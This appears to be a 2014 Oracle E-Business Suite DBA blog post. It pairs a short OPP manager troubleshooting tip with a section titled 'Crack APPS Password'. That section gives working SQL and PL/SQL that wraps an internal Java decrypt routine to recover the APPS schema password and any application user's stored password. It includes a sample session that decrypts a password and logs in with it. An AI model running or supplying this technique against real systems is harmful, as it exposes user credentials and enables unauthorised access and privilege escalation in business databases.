Tuesday, November 18, 2014

OPP Manager: Trobleshooting


This is one of the crucial manager in Oracle concurrent managers. This helps converting output into other formats [ pdf etc ] . 

Few tips to get logfiles:

1. OPP Manager log files will be located under $APPCSF/$APPLLOG/*OPP*txt
    check the logs and you will know exact error.
2. If particular requests are failing use following SQL to check if that is template issue

SELECT   fcpp.concurrent_request_id req_id,
                 fcp.node_name,
                 fcp.logfile_name        
 FROM   fnd_conc_pp_actions fcpp, fnd_concurrent_processes fcp       
 WHERE
            fcpp.processor_id   = fcp.concurrent_process_id         
AND   fcpp.action_type = 6         
AND   fcpp.concurrent_request_id = &&request_id;

Please do asks questions if you want to know more on this. I am here to share what ever I know.


Oracle Application R12: Crack APPS Password


1. Using system user we can decrypt it.


Login to system/<>

SQL> create FUNCTION apps.decrypt_pin_func(in_chr_key IN VARCHAR2,in_chr_encrypted_pin IN VARCHAR2)
RETURN VARCHAR2
AS
LANGUAGE JAVA NAME 'oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String) return java.lang.String';
  2    3    4    5
  6  /

Function created.

SQL> select ENCRYPTED_FOUNDATION_PASSWORD from apps.fnd_user where USER_NAME='GUEST';


ENCRYPTED_FOUNDATION_PASSWORD
--------------------------------------------------------------------------------
ZGD1A5C200E447B1412025F259B59C2780CF216B49C10ECCDDB93D564878096D7932D180CCC71671
63659569739CF63E958E

SQL> SELECT apps.decrypt_pin_func('GUEST/APPLMGR12','ZGD1A5C200E447B1412025F259B59C2780CF216B49C10ECCDDB93D564878096D7932D180CCC7167163659569739CF63E958E') from dual;

APPS.DECRYPT_PIN_FUNC('GUEST/APPLMGR12','ZGD1A5C200E447B1412025F259B59C2780CF216
--------------------------------------------------------------------------------
WINT3R

SQL> conn apps/WINT3R
Connected.

2.  Using package creation


SQL> show user
USER is "APPS"
SQL> CREATE OR REPLACE PACKAGE get_pwd AS
FUNCTION decrypt (KEY IN VARCHAR2, VALUE IN VARCHAR2)
RETURN VARCHAR2;
END get_pwd;
  2    3    4    5  /

Package created.

SQL>
CREATE OR REPLACE PACKAGE BODY get_pwd
 AS
FUNCTION decrypt (KEY IN VARCHAR2, VALUE IN VARCHAR2)
RETURN VARCHAR2
AS
LANGUAGE JAVA NAME 'oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String) return java.lang.String';
END get_pwd;
 /

Package body created.



    SELECT usr.user_name,
       get_pwd.decrypt
      ((SELECT (SELECT get_pwd.decrypt
      (fnd_web_sec.get_guest_username_pwd,
       usertable.encrypted_foundation_password
       )
       FROM DUAL) AS apps_password
       FROM fnd_user usertable
       WHERE usertable.user_name =
       (SELECT SUBSTR
       (fnd_web_sec.get_guest_username_pwd,
       1,
       INSTR
       (fnd_web_sec.get_guest_username_pwd,
       '/'
        )
       - 1
        )
       FROM DUAL)),
       usr.encrypted_user_password
          ) PASSWORD
  FROM fnd_user usr
  WHERE usr.user_name = upper('&USER_NAME');

Please feel free to give feedback.